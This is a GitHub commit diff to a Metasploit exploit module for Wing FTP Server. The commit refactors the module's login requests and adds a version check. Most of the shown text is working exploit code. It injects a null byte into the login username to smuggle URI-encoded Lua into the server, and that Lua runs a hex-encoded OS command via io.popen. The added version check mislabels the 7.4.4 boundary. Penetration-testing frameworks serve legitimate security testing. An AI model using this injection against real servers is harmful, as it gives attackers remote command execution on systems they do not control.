Skip to content

Commit 7629dd7

Browse files
committed
DRY code, grab wingftp version in check method
1 parent b9ee9ba commit 7629dd7

File tree

1 file changed

+34
-29
lines changed

1 file changed

+34
-29
lines changed

modules/exploits/multi/http/wingftp_null_byte_rce.rb

Lines changed: 34 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -66,33 +66,51 @@ def initialize(info = {})
6666
)
6767
end
6868

69+
def uid_cookie(res)
70+
res&.get_cookies_parsed&.[]('UID')
71+
end
72+
73+
def post_login(username, password)
74+
send_request_cgi(
75+
'method' => 'POST',
76+
'uri' => normalize_uri(target_uri.path, 'loginok.html'),
77+
'uri_encode_mode' => 'none',
78+
'headers' => {
79+
'Referer' => normalize_uri(target_uri.path, 'login.html') + '?lang=english'
80+
},
81+
'vars_post' => {
82+
'username' => username,
83+
'password' => password,
84+
'username_val' => username.split('%00').first,
85+
'password_val' => password
86+
}
87+
)
88+
end
89+
6990
def check
7091
res = send_request_cgi(
7192
'method' => 'GET',
7293
'uri' => normalize_uri(target_uri.path, 'login.html')
7394
)
7495
return CheckCode::Safe('Not a Wing FTP Web Client') unless res&.body&.include?('Wing FTP Server - Web Client')
7596

97+
if (ver_str = res.body[/Wing FTP Server v([\d.]+)/i, 1])
98+
ver = Rex::Version.new(ver_str)
99+
return ver < Rex::Version.new('7.4.4') ? CheckCode::Vulnerable("Detected version #{ver} ≤ 7.4.4") : CheckCode::Safe("Detected version #{ver} > 7.4.4")
100+
end
101+
76102
suffix = Rex::Text.rand_text_alpha(8)
77103
user = datastore['USERNAME']
78104
pass = datastore['PASSWORD']
79-
payload = "username=#{user}%00#{suffix}&password=#{pass}&username_val=#{user}&password_val=#{pass}"
80-
81-
res = send_request_cgi(
82-
'method' => 'POST',
83-
'uri' => normalize_uri(target_uri.path, 'loginok.html'),
84-
'headers' => {
85-
'Content-Type' => 'application/x-www-form-urlencoded',
86-
'Referer' => normalize_uri(target_uri.path, 'login.html') + '?lang=english'
87-
},
88-
'data' => payload
89-
)
90-
return CheckCode::Unknown('No response') unless res
91105

92-
uid = res.get_cookies_parsed.fetch('UID', nil)
93-
return CheckCode::Appears("UID cookie received: #{uid}") if uid
106+
res2 = post_login("#{user}%00#{suffix}", pass)
107+
return CheckCode::Unknown('No response') unless res2
94108

95-
CheckCode::Safe('UID cookie not found; not vulnerable')
109+
if uid_cookie(res2)
110+
CheckCode::Appears('UID cookie received')
111+
else
112+
CheckCode::Safe('UID cookie not found; not vulnerable')
113+
end
96114
end
97115

98116
def exploit
@@ -109,25 +127,12 @@ def exploit
109127
end
110128
local cmd = hx("#{hex}")
111129
local h = io.popen(cmd)
112-
local r = h:read("*a")
113130
h:close()
114131
LUA
115132

116133
inj = "#{user}%00" + Rex::Text.uri_encode(lua).gsub('%0a', '%0d') + '--'
117134

118-
res = send_request_cgi(
119-
'method' => 'POST',
120-
'uri' => normalize_uri(target_uri.path, 'loginok.html'),
121-
'headers' => {
122-
'Referer' => normalize_uri(target_uri.path, 'login.html') + '?lang=english'
123-
},
124-
'vars_post' => {
125-
'username' => inj,
126-
'password' => pass,
127-
'username_val' => user,
128-
'password_val' => pass
129-
}
130-
)
135+
res = post_login(inj, pass)
131136
fail_with(Failure::UnexpectedReply, 'Injection failed') unless res&.code == 200
132137

133138
uid = res.get_cookies_parsed.fetch('UID', nil)

0 commit comments

Comments
 (0)